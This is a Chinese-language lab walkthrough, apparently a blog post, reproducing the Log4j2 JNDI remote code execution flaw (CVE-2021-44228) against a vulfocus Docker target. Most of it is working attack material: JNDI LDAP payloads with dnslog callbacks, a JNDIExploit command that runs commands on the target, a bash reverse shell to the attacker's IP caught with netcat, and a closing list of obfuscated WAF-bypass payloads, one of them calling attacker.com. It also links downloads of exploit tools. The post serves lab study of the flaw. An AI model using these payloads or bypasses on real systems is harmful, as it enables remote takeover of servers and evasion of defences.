CVE-2021-44228漏洞复现

Apache Log4j2远程代码执行漏洞(CVE-2021-44228)

详细描述

Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞影响 Apache Struts、Apache Solr、Apache Druid、Apache Filnk等众多组件,漏洞影响面大,危害性高,建议客户尽快自查在用软件系统是否受影响,采取措施防护此漏洞。

漏洞受影响版本

Log4j 2.x <= 2.15.0-rc1

目前为止已知如下组件存在漏洞

Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare

复现环境

kali   (本人使用的旧版本kali,只用于测试安装靶机,192.168.199.139)
win10  (模仿攻击者,192.168.199.140)

脚本scan是否存在log4j2反序列化漏洞

链接:https://pan.baidu.com/s/1m1rwU3Gr-wAdBPx64f9ltw 
提取码:mn0o
image.png

漏洞复现

1、靶机环境安装

//kali系统部署在vmware
//拉取靶机环境
docker pull vulfocus/log4j2-rce-2021-12-09
image.png
//运行靶机环境
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
image.png
//ps 查看
docker ps
image.png
//查看ip
ip a
image.png
//在win10本机访问,显示No message available,说明部署成功了
http://192.168.199.139:38080/
image.png
//访问正常路径,需使用POST进行请求
http://192.168.199.139:38080/hello
//到此靶机安装完成
image.png

2、开始进行dnslog复现漏洞

//勾选POST请求,输入payload,dnslog小伙伴们自己设置,以下是我的dnslog,Ypl是自定义
payload=${jndi:ldap://Ypl.859499fe.dns.1433.eu.org/exp}
//可以自行使用抓包工具burp进行抓取编辑payload
image.png
//dnslog地址
https://log.xn--9tr.com/
image.png

3、使用大佬们的工具进行反弹getshell

//百度云盘下载地址
链接:https://pan.baidu.com/s/1UP-ZL_XB07UDS_KXwN-HwA 
提取码:tcwx
//ip填写需要反弹getshell的ip
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i ip
image.png
//尝试向目标主机 touch /tmp/cve2021-44228test 文件
touch /tmp/cve2021-44228test      //先base64编码,然后对编码后的特殊字符进行2层(ctrl+u 两次)url转码
转换后:dG91Y2ggL3RtcC9jdmUyMDIxLTQ0MjI4dGVzdA%253d%253d
image.png
//尝试向目标主机 touch /tmp/cve2021-44228test 文件
payload=${jndi:ldap://192.168.199.140:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC9jdmUyMDIxLTQ0MjI4dGVzdA%253d%253d}
image.png
//进入容器终端并且的保留为容器终端的输入形式(-it和bash的结合作用)
docker exec -it 60ab4df61ab8 bash 
//成功创建了一个cve2021-44228test文件
ll /tmp
image.png

废话不多说了,开始获取getshell

//攻击机监听6666端口
nc -lvvp 6666
image.png
//先base64编码,然后对编码后的特殊字符进行2层url转码
bash -i >& /dev/tcp/192.168.199.140/6666 0>&1
转换后:YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjE5OS4xNDAvNjY2NiAwPiYx
image.png
反弹成功,获取到docke容器
image.png

绕过waf

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

仅供学习使用!!

你可能感兴趣的:(CVE-2021-44228漏洞复现)